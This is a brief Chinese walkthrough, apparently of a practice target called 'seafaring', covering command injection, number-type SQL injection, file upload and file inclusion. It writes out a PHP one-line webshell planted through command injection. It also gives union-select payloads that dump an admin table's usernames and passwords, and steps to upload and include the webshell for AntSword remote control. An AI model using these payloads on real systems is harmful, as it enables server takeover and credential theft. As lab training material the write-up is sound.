seafaring寻找漏洞

一.命令执行漏洞

（1）下面有一个输入框，输入ls进行查看

（2）输入echo '<?php phpinfo();?>' > qxl.php 并且访问

(3)写入一句话木马，并且访问蚁剑连接

echo '<?php @eval($_POST['cmd'];?>'>q.php

二.sql注入

测试sql注入为数字型

（1）查询数据库

-1 union select 1,2,database()

（2）查看表名

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

（3）查看列名

1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' #

（4）查看admin的账号和密码

-1 union select 1,2,group_concat(user_id,user_name,user_pass) from admin#

(5)最终得出账号是admin，密码是mysql

三.文件上传漏洞

（1）使用得到的账号密码进行登录,进去之后发现可以上传文件

（2）写入一句话木马到qxl.php然后上传，并且访问上传成功后得到的路径

（3）蚁剑连接

四.文件包含漏洞

(1)首页的关于界面存在文件包含漏洞

（2）.访问之前写入的qxl.php中进行查看发现远程文件包含关闭，本地文件可以访问

（3）.包含之前的q.php一句话木马，访问并且蚁剑连接